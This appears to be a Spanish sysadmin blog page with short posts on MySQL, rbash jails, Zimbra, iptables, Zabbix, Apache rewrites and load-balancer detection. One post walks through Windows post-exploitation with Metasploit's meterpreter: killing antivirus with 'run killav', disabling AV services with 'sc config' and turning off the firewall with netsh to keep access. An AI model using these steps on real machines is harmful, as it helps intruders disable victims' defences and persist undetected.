Paginar salida de MySQL

Este es un pequeño truco que se puede emplear para obtener una salida mucho más lógica de una consulta en MySQL. Por defecto, la salida de una consulta se envía a stdout, por lo que si esta tiene un número muy elevado de tuplas, es complicado verla y seguirla. Para evitarlo qué mejor que paginar. MySQL permite paginar las salidas al más puro estilo GNU/Linux (diferencia entre cat FILE y more FILE).
Para habilitar el paginado en las salidas de MySQL se emplea el comando pager y éste admite como parámetros el programa GNU/Linux que deseemos emplear para paginar (more o less, por ejemplo). Para emplear simplemente,
mysql> pager more
Con lo que obtendremos una paginación al más puro estilo more o sino también,
mysql> pager less
Muy útil si la salida de la consulta es más grande que la pantalla, que permite navegar vertical y horizontalmente por los resultados, facilitando la consulta y explotación de los datos.
A mayores, también permite realizar salidas más útiles, como por ejemplo,
mysql> pager md5sum

mysql> select * from users;
e9b09f919e6abf68b46f84f0bedc2e72  -
71 rows in set (0.00 sec)
Con lo que obtenemos un md5 de la salida. La próxima vez que se ejecute si este número cambia, significará que hubo cambios en los datos de la consulta, sino, es que todo está igual.
Y pager también permite enviar los resultados por correo, empleando el comando del sistema mail.
mysql> pager mail -s "query mysql" user@domain.com
Cuando deseemos volver al estilo por defecto de MySQL simplemente,
mysql> nopager

Nota: pager permite realizar salidas también mucho más espectaculares  al enviar todos los datos de las consultas como input del programa especificado,
mysql> pager cat > /tmp/output.txt
mysql> pager less -n -i -S -F -X
mysql> pager cat \ 
 -> | tee /tmp/res.txt \
 -> | tee /tmp/res2.txt | less -n -i -S
Más info en: MySQL 5.5
Leer más

Limitar comandos a usuario

Hay veces que por los motivos que sean un usuario tiene que tener acceso a un sistema y en él sólo debería de poder permanecer en su ~home y también debería de sólo poder ejecutar los comandos que se le indiquen. Esto funciona muy bien excepto por la curiosidad. Si un usuario tiene acceso a algo, intentará tarde o temprano verlo. Entonces... ¿cómo podemos evitar al usuario cotilla? La respuesta es sencilla, realizando una jaula chroot para su sesión y que no pueda salir de ella ni ejecutar comandos fuera de los que le estén permitidos. A continuación os voy a enseñar cómo montar un sistema 'chroot' y lo pongo entre comillas, por que realmente no es en sí una jaula propiamente dicha.

Partimos de que necesitamos crear un usuario test que sólo tenga acceso al sistema para realizar un telnet a otra máquina de la red. Puesto que únicamente necesita ejecutar un telnet necesitamos restringir el resto de comandos disponibles en una sesión bash normal. Vamos a ir paso a paso configurando todo.
  1. Creamos el usuario test
    Este será un usuario normal del sistema, así que lo creamos como un usuario normal. La única peculiaridad es que cambiamos la shell de dicho usuario. Por defecto suele ser /bin/bash y vamos a establecer /bin/rbash. rbash es realmente una copia de bash, pero realmente es un "restricted bash".
    shell> adduser --shell /bin/rbash test
    
  2. Creamos el fichero .bash_profile
    Hay que crear este fichero en la home del usuario que se ha creado y para el que queremos aplicar los permisos. El contenido del fichero será el que sigue,
    if [ -f ~/.bashrc ]; then
       . ~/.bashrc
    fi
    
    PATH=$HOME/apps
    export PATH
    
  3. Evitamos las modificaciones
    Cuando ya tengamos el fichero creado, impedimos que nadie pueda realizar modificaciones en el fichero.
    shell> chattr +i /home/test/.bash_profile
    
  4. Creamos el directorio de apps e instalamos los programas con 'acceso'
    Ahora una vez que tenemos ya todo configurado sólo queda crear el directorio apps y dentro de él, crear un link a los programas que deseamos que el usuario tenga permisos. Todos los programas que estén dentro de apps, el usuarios los podrá ejecutar, sino, no.
    shell> mkdir apps
    shell> ln -s /usr/bin/telnet /home/test/apps/
    
  5. Comprobamos que funciona
    Accedemos al sistema y comprobamos que funciona correctamente.
    shell> ssh test@remote
    test@remote's password:
    
    shell@remote> ls
    -rbash: ls: no se encontró la orden
    shell@remote> cd
    -rbash: cd: no se encontró la orden
    shell@remote> telnet
    telnet>
    
Leer más

Humor a lo #debian

Me llevo una grata sorpresa cuando veo esto,
shell> cat /etc/udev/links.conf
# This file does not exist. Please do not ask the Debian maintainer about it.
Se ve que los mantenedores de debian siguen teniendo sentido del humor, incluso cuando trabajan en paquetes delicados.
Leer más

zimbra, uso de RAM

Zimbra por defecto hace un uso intenso de la memoria RAM y de la SWAP para mejorar el rendimiento. Todo lo que puede lo almacena en caché, para así poder ofrecérselo antes a los clientes. Ésto hace que su rendimiento sea mayor, pero el consumo de recursos del sistema también es mayor. Para saber los valores que tienen las variables de reserva de RAM podemos ejecutar lo siguiente,
shell> zmlocalconfig |grep memory
mysql_memory_percent = 30
tomcat_java_heap_memory_percent = 60
Esto indica el procentaje de RAM que se reserva para MySQL (30%) y el porcentaje para los procesos de Zimbra (60%). En servidores con poca memoria disponible estos valores los hay que alterar para mejorar el rendimiento, ya que podemos tener MySQL con escasa RAM ejecutándose. En equipos con mucha RAM (más de 4Gb) también los podemos modificar para darles más recursos.
Para modificar dichos valores,
shell> zmlocalconfig -e mysql_memory_percent=50
shell> zmlocalconfig -e tomcat_java_heap_memory_percent=35
Tras ello, hay que reiniciar Zimbra.
Leer más

Detección de balanceadores de carga

Muchas veces a la hora de consultar una página web nos puede interesa saber si tiene o no un balanceador de carga detrás de ella, es decir, si lo que parece una única página web en realidad tiene detrás un número N de servidores. A continuación vamos a ver las formas que hay de averiguar si detrás de un servicio hay uno o varios equipos respondiendo.
  • Consulta DNS
    Podemos averiguar si un servicio está balanceado mediante DNS si al realizar la pregunta al servidor, éste nos devuelve varias entradas.
    shell> dig www.google.com A
    ...
    ;; ANSWER SECTION:
    www.google.com.  511041 IN CNAME www.l.google.com.
    www.l.google.com. 205 IN A 173.194.66.106
    www.l.google.com. 205 IN A 173.194.66.147
    www.l.google.com. 205 IN A 173.194.66.99
    www.l.google.com. 205 IN A 173.194.66.103
    www.l.google.com. 205 IN A 173.194.66.104
    www.l.google.com. 205 IN A 173.194.66.105
    ...
    
  • Load Balancing Detector
    lbd es un pequeño script escrito en bash por Stefan Behte (http://ge.mine.nu) que permite evaluar con una sola llamada varias técnicas para descubrir si un dominio está en load balancing o no. Tras descargarlo y dar permisos de ejecución, únicamente hay que pasarle como parámetro el dominio a evaluar.
    shell> ./lbd google.com
    
    lbd - load balancing detector 0.2 -
          Checks if a given domain uses load-balancing.
          Written by Stefan Behte (http://ge.mine.nu)
          Proof-of-concept! Might give false positives.
    
    Checking for DNS-Loadbalancing: FOUND
    google.com has address 74.125.230.230
    google.com has address 74.125.230.231
    google.com has address 74.125.230.232
    google.com has address 74.125.230.233
    google.com has address 74.125.230.238
    google.com has address 74.125.230.224
    google.com has address 74.125.230.225
    google.com has address 74.125.230.226
    google.com has address 74.125.230.227
    google.com has address 74.125.230.228
    google.com has address 74.125.230.229
    
    Checking for HTTP-Loadbalancing [Server]: 
     gws
     NOT FOUND
    
    Checking for HTTP-Loadbalancing [Date]: 10:56:58, 10:56:58, 10:56:58, 10:56:58, 10:56:58, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:04, 10:57:04, 10:57:04, NOT FOUND
    
    Checking for HTTP-Loadbalancing [Diff]: NOT FOUND
    
    google.com does Load-balancing. Found via Methods: DNS
    
  • hping3
    Con esta pequeña utilidad podemos crear paquetes ping "made a tu gusto" y que nos permite obtener valores al intentar establecer una conexión con un equipo. Si el equipo no está balanceado, generalmente los id's son incrementales o cero, pero al estar detrás de un balanceador vemos que no tienen un orden lógico.
    shell> hping3 -S -p 80 www.google.com
    HPING www.google.com (eth2 173.194.66.103): S set, 40 headers + 0...
    len=46 ip=173.194.66.103 ttl=46 id=26225 sport=80 flags=SA seq=0...
    len=46 ip=173.194.66.103 ttl=46 id=13025 sport=80 flags=SA seq=1...
    len=46 ip=173.194.66.103 ttl=46 id=55771 sport=80 flags=SA seq=2...
    len=46 ip=173.194.66.103 ttl=46 id=53021 sport=80 flags=SA seq=3...
    len=46 ip=173.194.66.103 ttl=46 id=46727 sport=80 flags=SA seq=4...
    len=46 ip=173.194.66.103 ttl=46 id=11782 sport=80 flags=SA seq=5...
    
    Mientras que a un dominio sin balanceo,
    shell> hping3 -S -p 80 www.domain.com
    HPING www.domain.es (eth2 213.60.X.Y): S set, 40 headers + 0...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=0...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=1...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=2...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=3...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=4...
    
Leer más

Qué hace tu usuario sftp?

Hace ya un par de meses escribí la forma de configurar el sistema sftp como una jaula chroot, para que todos los usuarios que accedan al sistema queden "dentro" de la carpeta para la que tienen permisos y así no anden de cotillas por el resto del sistema. En sistemas compartidos esto es perfecto, ya que cada usuario tiene su espacio, por ejemplo, su página web, y de ahí no se mueve.
Sin embargo siempre se suele dar el caso de que alguien protesta por algo que hizo y no lo recuerda. Un fichero no tiene el contenido que debería, una carpeta desapareció, hay una carpeta que no debería, etc. Para evitar esos problemas sftp tiene la opción de escribir todo lo que un usuario está a realizar y así evitar que tengamos ese problema. Si recordamos un poco, para habilitar el sistema sftp en el servidor ssh tenemos que crear el siguiente contenido,
...
Subsystem sftp internal-sftp
....
Pues bien, si leemos el man de sftp, podemos observar que existe una opción, -l log_level que hace justamente lo que nos interesa, por lo tanto sólo queda añadirla a la línea de sftp
...
Subsystem sftp internal-sftp -l INFO
....
Y relanzar el servicio ssh,
shell service sshd restart
Tras ello, el resultado que observamos es el siguiente,
Oct 12 16:52:23 s1 sftp-server[28846]: mkdir name "/tmp/aa" mode 0777
Oct 12 16:52:26 s1 sftp-server[28846]: opendir "/tmp/aa"
Oct 12 16:52:26 s1 sftp-server[28846]: closedir "/tmp/aa"
Oct 12 16:52:26 s1 sftp-server[28846]: rmdir name "/tmp/aa"
Un log perfectamente depurado de las acciones del usuario, para así estar protegidos ante eventuales contratiempos.
Leer más

IPTables, filtrar por usuario

Una de las cosas más sorprendentes de IPTables, el gran firewall de linux, es sin dudarlo su enorme versatilidad. Permite hacer prácticamente cualquier cosa que te imagines y muestra de ellos es que las reglas se pueden definir por usuario o grupo. Antes de seguir, vamos a aclarar que para la única tabla que puede hacer match con un uid de usuario o de grupo es la de salida (output) y siempre tendremos que emplear el uid o el gid y no los nombres. Es lógico pensar que a un usuario se le pueda bloquear la salida, pero no tan fácil de hacer ni entender la entrada. Lo que viene del puerto 80, puede ir para uno u otro usuario, pero no se sabe para cual. GNU/Linux es multiusuario.
Para crear una regla de IPTables que bloquee la salida de un usuario por ejemplo al puerto 22, podemos hacer algo tal que así,
shell> iptables -A OUTPUT \
-p tcp --dport 22 \
-m owner --uid-owner 1002 \
-j REJECT
Y para hacer lo mismo para un grupo,
shell> iptables -A OUTPUT \
-p tcp --dport 22 \
-m owner --gid-owner 810 \
-j REJECT
Si ahora probamos a establecer una conexión ssh con diferentes usuarios, veremos que al usuario con uid 1002 no le estará permitido.
root@shell> ssh 192.168.1.35
root@192.168.1.35's password:
Last login: Sun Oct 7 20:03:34 2012 from 192.168.1.33

root@shell> getent passwd
...
javier:x:1000:1000:Javier Terceiro:/home/javier:/bin/bash

javier@shell> ssh 192.168.1.35
ssh: connect to host 192.168.1.35 port 22: Connection refused
Leer más

MySQL, devolver tuplas inversas a la query

Una de las cosas principales por las que se escribe un blog es para dar información y conocimiento, pero también es importante la parte en la que se recibe, bien a través de comentarios o como es este el caso, con un caso concreto sobre MySQL a ver si a alguien le ha sucedido y tiene la respuesta. Lo intenté en google, pero realizar la pregunta ya de por sí es complicado, buscar la respuesta más.
Vamos a simplificar el caso a una tabla como la que sigue, con usuarios.
mysql> SELECT * FROM users;
+-----------+--------+--------------------+
| host      | user   | password           |
+-----------+--------+--------------------+
| localhost | javier | 0.1332591382165059 |
| localhost | javi   | passwd             |
+-----------+--------+--------------------+
2 rows in set (0.00 sec)
Lo que quiero obtener son exactamente las tuplas que no están en la query que realizo. Por ejemplo, realizo la siguiente query,
mysql> SELECT * FROM users WHERE user='javier';
+-----------+--------+--------------------+
| host      | user   | password           |
+-----------+--------+--------------------+
| localhost | javier | 0.1332591382165059 |
+-----------+--------+--------------------+
1 row in set (0.00 sec)
Donde obtengo una tupla que cumple la condición where. Si ahora mi interesa obtener las tupas que no cumplen dicha condición, lo puedo hacer tal que así,
mysql> SELECT * FROM users WHERE user NOT IN (
 -> SELECT user FROM users WHERE user='javier'
 -> );
+-----------+------+----------+
| host      | user | password |
+-----------+------+----------+
| localhost | javi | passwd   |
+-----------+------+----------+
1 row in set (0.00 sec)
Esto es correcto, pero la pregunta es, existe alguna forma de obtener este resultado sin tener que emplear el 'WHERE NOT IN'. En la query real que me atañe, realizar la consulta que devuelve valores tarda 3 segundos, pero realizar la otra, con el 'NOT IN', debido a la gran cantidad de valores, se alarga mucho en el tiempo.
¿Alguna idea o operador de MySQL que realice esta operación con poco coste? Desde ya, gracias.
Por cierto, la query que lanzo es similar a esta, y tarda alrededor de 3 segundos, devolviendo algo más de 2000 tuplas.
mysql> SELECT se.sysmapid
 -> FROM ug, r, hg, se
 -> WHERE ug.userid = 6 AND
 -> r.groupid = ug.usrgrpid AND
 -> hg.groupid = r.id AND
 -> se.elementid = hg.hostid AND
 -> se.elementtype = 0
 -> GROUP BY se.sysmapid;
Sin embargo, si quiero emplear el truco anterior y uso un NOT IN, su ejecución se alarga en el tiempo y queda la query como sigue,
mysql> SELECT sysmapid FROM se
 -> WHERE sysmapid NOT IN (
 ->   SELECT se.sysmapid
 ->   FROM ug, r, hg, se
 ->   WHERE ug.userid = 6 AND
 ->   r.groupid=ug.usrgrpid AND
 ->   r.permission NOT IN (2,3) AND
 ->   hg.groupid = r.id AND
 ->   se.elementid = hg.hostid AND
 ->   se.elementtype=0
 ->   GROUP BY se.sysmapid
 -> );
Leer más

Ocultando la extensión de nuestra programación web

Fijo que alguna vez os ha pasado que accedéis a una página web y no veis a qué archivo estáis accediendo, pero no la extensión del mismo. Por ejemplo http://dominio.com/index.php y http://dominio.com/index. Es decir, exactamente lo mismo pero sin saber que está escrita en php. Pues bien, conseguirlo en apache es muy sencillo y sólo se necesitan dos cosas. La primera tener cargado el módulo mod_rewrite y la segunda crear un fichero .htaccess en la raíz de la web a la que aplicarlo (o bien en la configuración general de apache) con el siguiente contenido.


RewriteEngine on

# Rescribe /dir/file.php -> /dir/file
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if file.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]
Leer más

zabbix, no dashboard

zabbix usa un sistema de permisos un poco especial para mostrar los menús. Por defecto tiene creados tres tipos de grupos de usuarios diferentes. Un usuario únicamente puede pertenecer a uno de los grupos y en función de éste, tendrá acceso a unas pestañas u otras. Los datos a los que tengan acceso, están definidos por los grupos de usuarios + grupos de host's. Los 3 tipos de grupos de permisos que hay son:


  • USER_TYPE_ZABBIX_USER
    Definido con el ID 1 y de nombre "Zabbix User" establece los permisos para todas las pestañas a las que puede tener acceso un usuario normal, sin privilegios.
  • USER_TYPE_ZABBIX_ADMIN
    Definido con el ID 2 y con nombre "Zabbix Admin" contiene los permisos para aquellas pestañas a las que un usuario puede tener acceso, pero con algo más de privilegios. Por ejemplo a las pestañas de creación y configuración de host's, mapas, etc.
  • USER_TYPE_SUPER_ADMIN
    Definido con el ID 3 representa al "Zabbix Super Admin" y es el usuario que tiene acceso a todas las pestañas.
En el fichero include/menu.inc.php es donde se usan estas variables para definir si un usuario puede o no puede ver una pestaña. Por ejemplo,
array(
   'url'=>'maps.php',
   'label'=>S_MAPS,
   'sub_pages'=>array('map.php'),
   'user_type'=>USER_TYPE_ZABBIX_USER
),
Aquí de define que la pestaña "maps" es visible para los usuarios con permisos mayor o igual a 'USER_TYPE_ZABBIX_USER'. Prácticamente todas las pestañas o grupos de pestañas tienen estos permisos y siempre se define el de menor permiso que lo puede ver. Saber si un usuario puede o no ver una pestaña por lo tanto es muy simple de calcular.
Vamos a definir ahora el caso que nos atañe, tenemos un grupo de usuarios al que no nos interesa que pueda ver la pestaña dashboard (o cualquier otra). Por defecto esto zabbix no lo permite hacer, por lo que vamos a crear un pequeño parche para ofrecer esta funcionalidad extra.
Primeramente creamos un grupo de usuarios llamado "No dashboard". Todos los usuarios que pertenezcan a este grupo no verán dicha pestaña. Una vez lo tengamos creado, simplemente agregamos ahí a los usuarios que nos interesen. Luego, editamos el fichero include/menu.inc.php y lo dejamos tal que así,
global $ZBX_MENU;
global $USER_DETAILS;

$users = CUser::get(array('filter' => array(
  'userid' => USER_DETAILS['userid']),
  'output' => API_OUTPUT_EXTEND,
  'select_usrgrps' => API_OUTPUT_EXTEND));

$usrgrps = $users[0]['usrgrps'];
$show = 1;
foreach($usrgrps as $ugnum => $usrgrp){
   if(strtolower($usrgrp['name']) == strtolower("No dashboard")) {
      $show = 0;
   }
}

if($show) {
   $dash = array(
      'url'=>'dashboard.php',
      'label'=>S_DASHBOARD,
      'sub_pages'=>array('dashconf.php')
   );
} else {
   $dash = array(
      'url'=>'dashboard.php',
      'label'=>S_DASHBOARD,
      'sub_pages'=>array('dashconf.php'),
      'user_type'=>USER_TYPE_SUPER_ADMIN
   );
}

$ZBX_MENU = array(
   'view'=>array(
   'label'           => S_MONITORING,
   'user_type'       => USER_TYPE_ZABBIX_USER,
   'node_perm'       => PERM_READ_LIST,
   'default_page_id' => 0,
   'pages'=>array(
      $dash,
      array(
         ...
Con este pequeño cambio se consigue una funcionalidad extra muy interesante. Dejo aquí colgado el parche, por si a alguien le interesa.
Leer más

PHP Fatal error: Allowed memory size of

Aunque no suele ser habitual tener este tipo de problemas, hay veces que php por el, o bien el tipo de consultas a base de datos que realiza, o la cantidad de datos que está a manejar, necesita más memoria ram de la que tiene asignada. Es entonces cuando da la siguiente salida,

PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 128 bytes) in /var/www/include/db.php on line 607
Pero, ¿qué quiere decir exactamente? Pues ni más ni menos que la página a la que llamas necesita más memoria de la que la configuración le asigna para manejar los datos. La solución es fácil, como veremos a continuación, pero antes de asignarle más memoria, hay que pensar si tiene lógica. La página realmente está manejando tantos datos como para requerir más memoria. Esto hay que tenerlo en cuenta si estamos hablando de cosas en los que ya hay 256Mb o 512Mb asignados. En caso de que consideremos que efectivamente necesita más memoria, podemos optar por dos soluciones para dársela.
  • Fichero de configuración general (php.ini)
    Esta es la opción más común y no es otra que aumentar el límite de memoria para el proceso php en el fichero php.ini. Con esta opción cualquier otro fichero php que requiera más memoria también la podrá consumir, por lo que hay que tener cuidado con la cantidad de memoria que se le asigne.
    ...
    memory_limit = 512M
    ...
    
  • Fichero php concreto
    Esta es la otra opción y consiste en indicarle a php que para el fichero sobre el que se definan estos valores, deberá sobreescribir los valores por defecto del php.ini. Es una buena opción si únicamente nos pasa esto con un fichero concreto que por el motivo que sea necesita más memoria.
    La línea a incluir es:
    ini_set("memory_limit","512M");
    ...
    
Leer más

MySQL, concat values

Hay veces que por algún motivo necesitas a un valor que ya tienes en la base de datos, añadirle concatenarle otro valor. Si es este el caso, MySQL permite hacerlo de forma muy simple e inmediata, sin necesidad de pasar por código externo. Partimos de los siguientes datos,
mysql> select * from scripts;
+----------+---------+----------------------------+
| scriptid | name    | command                    |
+----------+---------+----------------------------+
|        1 | ES-Ping | /bin/ping -c 3 {HOST.CONN} |
+----------+---------+----------------------------+
1 row in set (0.00 sec)
Y nos interesa, poner en la columna command, antes del valor actual un 'timeout 30', para hacerlo, qué mejor que concatenar el valor que deseamos al actual que hay. tal como sigue,
mysql> update scripts set command=concat('timeout 30 ',command);
Tras ello, vemos que el cambio ha tenido el efecto deseado.
mysql> select * from scripts;
+----------+---------+---------------------------------------+
| scriptid | name    | command                               |
+----------+---------+---------------------------------------+
|        1 | ES-Ping | timeout 30 /bin/ping -c 3 {HOST.CONN} |
+----------+---------+---------------------------------------+
1 row in set (0.00 sec)
Si nos interesa, concat también lo puede hacer al revés, primero el valor que hay y luego el nuevo,
mysql> update scripts set command=concat(command, 'timeout 30 ');

Más info en mysql-string-functions.
Leer más

IPTables, identificando líneas

La salida que vimos en el post anterior de IPTables la verdad es que sirve para saber las reglas que están establecidas, pero para referenciar a una de dichas reglas, la verdad es que la cosa se complica. Para solucionar este problema, simplemente incluimos la opción --line-numbers. Con ello conseguimos que aparezca un nuevo campo num que identifica la regla y que posteriormente podremos referenciar para hacer alusión a dicha regla.
shell> iptables -n -L -v --line-numbers
Un ejemplo de ejecución,
shell> iptables -n -L -v --line-numbers
Chain INPUT (policy DROP)
num target  prot opt source     destination
1   DROP    all  --  0.0.0.0/0  0.0.0.0/0  state INVALID
2   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0  state RELATED,ESTABLISHED
3   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
4   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
Chain FORWARD (policy DROP)
num target  prot opt source     destination
1   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
2   DROP    all  --  0.0.0.0/0  0.0.0.0/0  state INVALID
3   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0  state RELATED,ESTABLISHED
4   ACCEPT  all  --  0.0.0.0/0  0.0.0.0/0
Chain OUTPUT (policy ACCEPT)
num target  prot opt source     destination

Leer más

metasploit, no firewall + no antivirus

Tras obtener acceso a un equipo con Windows por alguna vulnerabilidad lo primero que debemos hacer es garantizarnos que su antivirus no nos detecte y nos bloquee y posteriormente desactivar el cortafuegos (si es que lo hubiera) para evitar así que nos bloquee próximas intrusiones, esta vez ya "consentidas". Estas dos tareas están dentro de la post-explotación de una vulnerabilidad y deben ser de las primeras en lanzarse, para intentar conseguir estar el máximo tiempo posible dentro del equipo.
Entonces, ¿cómo hacemos para desactivar el antivirus? Por suerte meterpreter trae la solución ya implantada de mano,
meterpreter> run killav
[*] Killing Antivirus services on the target...
Este pequeño comando, ya implementado mata todas las sesiones de los antivirus más conocidos, dejando así el sistema indefenso. Luego una vez no haya ya antivirus lo que debemos de realizar es una pequeña comprobación de servicios, para así terminar por desactivar el antivirus en futuros inicios del equipo. Esto lo podemos conseguir con el comando tasklist, para luego gracias al comando sc poder desactivarlo.
meterpreter> shell
Process 1092 created.
Channel 2 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> tasklist /svc
tasklist /svc

Nombre de imagen      PID  Servicios
===================== ==== ============================================
System Idle Process      0 N/D
System                   4 N/D
smss.exe               392 N/D
csrss.exe              720 N/D
winlogon.exe           744 N/D
services.exe           796 Eventlog, PlugPlay
lsass.exe              816 ProtectedStorage, SamSs
svchost.exe            976 DcomLaunch, TermService
svchost.exe           1040 RpcSs
svchost.exe           1128 AudioSrv, Browser, CryptSvc, Dhcp,
                           dmserver, ERSvc, EventSystem,
                           FastUserSwitchingCompatibility, helpsvc,
                           lanmanserver, lanmanworkstation, Netman,
                           Nla, Schedule, seclogon, SENS, SharedAccess,
                           ShellHWDetection, srservice, Themes, TrkWks,
                           W32Time, winmgmt, wscsvc, wuauserv, WZCSVC
logonui.exe           1136 N/D
svchost.exe           1352 Dnscache
svchost.exe           1368 LmHosts, RemoteRegistry, SSDPSRV
spoolsv.exe           1528 Spooler
cvpnd.exe             2016 CVPND
...
Esta salida agrupa los procesos por servicios, así que sólo queda encontrar el servicio de antivirus, por ejemplo, usando
C:\WINDOWS\system32> tasklist /svc | find /I "avg"
tasklist /svc | find /I "avg"
avgwdsvc.exe          3958  avgwd
avgnsx.exe            3912  N/A
avgemcx.exe           3594  N/A
avgtray.exe           3698  N/A
avgidagent.exe        3125  AVGIDSAgent
avgrsx.exe            2658  N/A
avgcsrvx.exe          4005  N/A
Y una vez sepamos que sí está presente en el sistema, únicamente lo deshabilitamos,
C:\WINDOWS\system32> sc config avgwd start=disable
sc config avgwd start=disable
[SC] ChangeServiceConfig SUCCESS

C:\WINDOWS\system32> sc config AVGIDSAgent start=disable
sc config AVGIDSAgent start=disable
[SC] ChangeServiceConfig SUCCESS
Tras esto, en los próximos reinicios del sistema, el antivirus no debería de arrancar.
Ahora tenemos que aprovechar que tenemos acceso para parar el cortafuegos. Para hacerlo,
meterpreter> shell
Process 1880 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> netsh firewall set opmode mode=disable
netsh firewall set opmode mode=disable
Aceptar
Tras ejecutarlo satisfactoriamente,
C:\WINDOWS\system32> netsh firewall show opmode
netsh firewall show opmode

Configuración del perfil Dominio:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Modo de excepción                             = Habilitar

Configuración del perfil Estándar (actual):
-------------------------------------------------------------------
Modo funcional                                = Deshabilitar
Modo de excepci¢n                             = Habilitar

Configuración del servidor de seguridad conexión de rea local:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Lo que, por ejemplo en mi Windows XP ha provocado un popup de advertencia (ya que así lo tengo configurado).
Leer más

intypedia (II)

Siguiendo las lecciones sobre los temas de intypedia, os dejo a continuación las próximas 5 lecciones de este más que interesante método de aprendizaje. Espero que las disfrutéis.


  • Lección 6: Malware


  • Lección 7: Seguridad en aplicaciones web


  • Lección 8: Protocolo de reparto de secretos


  • Lección 9: Introducción al protocolo SSL


  • Lección 10: Ataques al protocolo SSL

Otras lecciones de Intypedia:
  • Intypedia (I)
  • Intypedia (II)
  • Intypedia (III)
Leer más

BUG: soft lockup - CPU

Latencia de red (en ms)
Ayer me pasó algo curioso en unas máquinas virtuales bajo XenServer. Hay que decir que estas máquinas están virtualizadas en una infraestructura a la que no hay acceso y sobre la que no sabemos qué tipo de máquinas hay, a mayores de las nuestras. El caso es que todas las nuestras se estaban a ejecutar en mismo nodo del clúster y sin más ni más, comenzaron a subir el uso de CPU y su latencia de red. Gracias a #zabbix, su perfecta monitorización y sus alertas nos pudimos enterar al momento. Dejo un par de gráficas que representan las subidas experimentadas, que como se pueden ver, son considerables.
Consumo de CPU
Lo sorprendente es que la carga de las máquinas se originó sin motivo aparente, ya que no hubo nada "extraño" en la red ni en las máquinas, según las primeras palabras del proveedor. Sin embargo, tras revisar un poco de log's, nos encontramos con el siguiente fallo,
kernel: [12005213.706327] BUG: soft lockup - CPU#0 stuck for 64s! [kjournald:908]
kernel: [12005213.706327] Modules linked in: iptable_filter ip_tables x_tables firewire_sbp2 firewire_core crc_itu_t loop snd_pcm snd_timer parport_pc i2c_piix4 snd i2c_core joydev soundcore snd_page_alloc pcspkr parport processor evdev button psmouse serio_raw ext3 jbd mbcache usbhid hid sg sr_mod cdrom sd_mod crc_t10dif ata_generic ata_piix uhci_hcd 8139too ehci_hcd thermal libata floppy thermal_sys 8139cp mii usbcore nls_base scsi_mod [last unloaded: scsi_wait_scan]
kernel: [12005213.706327]
kernel: [12005213.706327] Pid: 908, comm: kjournald Not tainted (2.6.32-5-686 #1) HVM domU
kernel: [12005213.706327] EIP: 0060:[] EFLAGS: 00000282 CPU: 0
kernel: [12005213.706327] EIP is at cp_interrupt+0x23/0x28a [8139cp]
kernel: [12005213.706327] EAX: f7dea03e EBX: c1360aa0 ECX: c1360aa0 EDX: f6f60001
kernel: [12005213.706327] ESI: f6f62ba0 EDI: 00000020 EBP: f6f62800 ESP: e770fcf4
kernel: [12005213.706327]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
kernel: [12005213.706327] CR0: 8005003b CR2: f8260ffc CR3: 36f58000 CR4: 000006d0
kernel: [12005213.706327] DR0: 00000000 DR1: 00000000 DR2: 00000000 DR3: 00000000
kernel: [12005213.706327] DR6: ffff0ff0 DR7: 00000400
Lo más sorprendente que hemos encontrado ha sido la línea de BUG destacada en los log's y el posterior trace completo que hace. Tras investigar un poco a qué pudo ser debido, todo apunta a un fallo en la reserva de IRQ de las máquinas, lo que provocó un incremento de la carga de todos los equipos.
Por lo que hemos podido averiguar a posteriori, el proveedor sí nos reconoció que algunas de las máquinas del clúster efectivamente estaban consumiendo un gran ancho de banda, lo que afectó a las otras, que estaban mucho más ociosas. Se ve que la virtualización todavía no es 100% efectiva bajo ciertas circunstancias.
Leer más

Denegar acceso non-root

GNU/Linux es un sistema operativo multi-usuario que funciona realmente bien y mientras un administrador está haciendo tareas de mantenimiento, otros usuarios pueden estar trabajando en el equipo sin que se vean afectados. Sin embargo hay veces que las tareas de mantenimiento son mucho más complejas y no es conveniente que ningún usuario (que no sea root) esté conectado al equipo. Para conseguirlo existe un pequeño truco, nologin. nologin es un fichero vacío que simplemente al existir impide que los usuarios se conecten al equipo remotamente. Por lo tanto, si queremos deshabilitar el acceso de usuarios remotos, la forma más simple es creando dicho fichero.
shell> touch /etc/nologin
Ahora cuando un usuario se intente conectar vía ssh, su sesión será automáticamente cerrada por el sistema.
shell> ssh 192.168.1.1

Connection closed by 192.168.1.1
Lógicamente, para volver al modo de funcionamiento normal, simplemente habrá que borrar el fichero creado,
shell> rm /etc/nologin
Leer más

MySQL, deshabilitar slave-replication en una sesión

